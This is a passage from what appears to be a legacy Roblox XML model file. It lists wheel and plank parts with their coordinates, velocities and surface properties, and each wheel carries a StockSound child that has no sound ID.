				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>0.139055997</X>
					<Y>-5.16420031</Y>
					<Z>9.89828777</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-15.9799395</X>
					<Y>-7.49033165</Y>
					<Z>-16.0984554</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1814">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">h41lcc</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1815">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>213.972366</X>
					<Y>1.39837337</Y>
					<Z>-44</Z>
					<R00>0.999992013</R00>
					<R01>-0.00399592333</R01>
					<R02>1.4526775e-005</R02>
					<R10>0.00399592798</R10>
					<R11>0.999991953</R11>
					<R12>-0.000365808053</R12>
					<R20>-1.30649169e-005</R20>
					<R21>0.000365863205</R21>
					<R22>0.99999994</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>0.00134512829</X>
					<Y>0.0034690972</Y>
					<Z>6.58736038</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-46.5216751</X>
					<Y>-1.59263539</Y>
					<Z>0.000381162827</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1816">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">e90bay</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1817">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>214.011826</X>
					<Y>1.39827967</Y>
					<Z>-41.0212669</Z>
					<R00>0.999956608</R00>
					<R01>0.00620140973</R01>
					<R02>-0.00695115514</R02>
					<R10>-0.00383653305</R10>
					<R11>0.954143047</R11>
					<R12>0.299326539</R12>
					<R20>0.00848864298</R20>
					<R21>-0.299286902</R21>
					<R22>0.954125404</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>0.498173147</X>
					<Y>-12.7631559</Y>
					<Z>-3.12673855</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>35.7060127</X>
					<Y>-4.63823509</Y>
					<Z>-21.4745445</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1818">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">asq86zi</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1819">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>213.98056</X>
					<Y>1.39950454</Y>
					<Z>-47.0135841</Z>
					<R00>0.999833286</R00>
					<R01>0.0165159348</R01>
					<R02>0.00778555032</R02>
					<R10>0.0121798478</R10>
					<R11>-0.920946062</R11>
					<R12>0.389499515</R12>
					<R20>0.0136030214</R20>
					<R21>-0.389339775</R21>
					<R22>-0.920993686</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>2.36069322</X>
					<Y>-0.373269647</Y>
					<Z>9.27382946</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-16.1058159</X>
					<Y>-4.02918005</Y>
					<Z>6.23203325</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1820">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">w6uf6ujgw</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1821">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>226</X>
					<Y>1.60000002</Y>
					<Z>-49</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>50</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1822">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>220.010468</X>
					<Y>1.40668702</Y>
					<Z>-35.0438766</Z>
					<R00>-0.999578118</R00>
					<R01>-0.0289564356</R01>
					<R02>0.0022709351</R02>
					<R10>-0.00443314435</R10>
					<R11>0.0748271197</R11>
					<R12>-0.99718672</R12>
					<R20>0.0287050437</R20>
					<R21>-0.996776044</R21>
					<R22>-0.0749239773</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-6.4222436</X>
					<Y>2.18164563</Y>
					<Z>-7.86204052</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-4.32771587</X>
					<Y>-2.53435874</Y>
					<Z>-21.1032982</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1823">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">h41lcc</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1824">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>201.999023</X>
					<Y>1.40541506</Y>
					<Z>-46</Z>
					<R00>0.99999553</R00>
					<R01>0.00299118226</R01>
					<R02>-2.32877593e-008</R02>
					<R10>-0.00299118226</R10>
					<R11>0.99999547</R11>
					<R12>-0.000284243142</R12>
					<R20>-8.26935434e-007</R20>
					<R21>0.00028424192</R21>
					<R22>0.99999994</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-4.56268062e-005</X>
					<Y>0.00530593051</Y>
					<Z>6.91838694</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.427873015</X>
					<Y>2.87273502</Y>
					<Z>-0.0013392953</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1825">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">w6uf6ujgw</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1826">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>201.999496</X>
					<Y>1.40537846</Y>
					<Z>-43</Z>
					<R00>0.999995768</R00>
					<R01>0.00290249917</R01>
					<R02>2.1703886e-006</R02>
					<R10>-0.00290249404</R10>
					<R11>0.999994934</R11>
					<R12>-0.00129992538</R12>
					<R20>-5.94341009e-006</R20>
					<R21>0.00129991351</R21>
					<R22>0.999999166</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-0.000539860048</X>
					<Y>0.00517494371</Y>
					<Z>6.86844683</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.783877969</X>
					<Y>2.95351505</Y>
					<Z>-0.00122947886</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1827">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">e90bay</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1828">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>201.991653</X>
					<Y>1.39794791</Y>
					<Z>-40</Z>
					<R00>0.999999404</R00>
					<R01>0.00110406242</R01>
					<R02>5.16776572e-006</R02>
					<R10>-0.00110406568</R10>
					<R11>0.999999166</R11>
					<R12>0.000674163981</R12>
					<R20>-4.42344208e-006</R20>
					<R21>-0.000674169278</R21>
					<R22>0.999999762</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-0.000172616885</X>
					<Y>-0.00785760023</Y>
					<Z>5.17580795</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>10.8407946</X>
					<Y>3.72496033</Y>
					<Z>0.00122038322</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1829">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">asq86zi</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1830">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>231.983521</X>
					<Y>1.40264499</Y>
					<Z>-37.9735222</Z>
					<R00>-0.999943912</R00>
					<R01>-0.00426274771</R01>
					<R02>0.00969224796</R02>
					<R10>-0.000514588668</R10>
					<R11>0.933862388</R11>
					<R12>0.35763219</R12>
					<R20>-0.010575722</R20>
					<R21>0.357607156</R21>
					<R22>-0.933812201</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>1.0636487</X>
					<Y>10.8093796</Y>
					<Z>9.62677574</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-32.1065063</X>
					<Y>-7.37010384</Y>
					<Z>-10.6607552</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1831">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">cnlpc</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1832">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>219.970474</X>
					<Y>1.40888822</Y>
					<Z>-38.0151711</Z>
					<R00>-0.999432087</R00>
					<R01>0.0336980298</R01>
					<R02>0.000177857248</R02>
					<R10>-0.017095482</R10>
					<R11>-0.511560142</R11>
					<R12>0.859077454</R12>
					<R20>0.0290402006</R20>
					<R21>0.85858655</R21>
					<R22>0.511845589</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>3.90979385</X>
					<Y>8.54149342</Y>
					<Z>4.49765396</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>4.92289686</X>
					<Y>-7.5164113</Y>
					<Z>-14.8744354</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1833">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">cnlpc</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1834">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>208.00145</X>
					<Y>1.40605867</Y>
					<Z>-37.0261612</Z>
					<R00>-0.999773204</R00>
					<R01>-0.0158258937</R01>
					<R02>0.0142573221</R02>
					<R10>-0.0103358002</R10>
					<R11>-0.224826649</R11>
					<R12>-0.974344015</R12>
					<R20>0.0186252873</R20>
					<R21>-0.974270344</R21>
					<R22>0.224611953</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-6.47358608</X>
					<Y>-11.5302858</Y>
					<Z>0.329070568</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>1.75408566</X>
					<Y>2.32722473</Y>
					<Z>-19.6314392</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1835">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">cnlpc</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1836">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
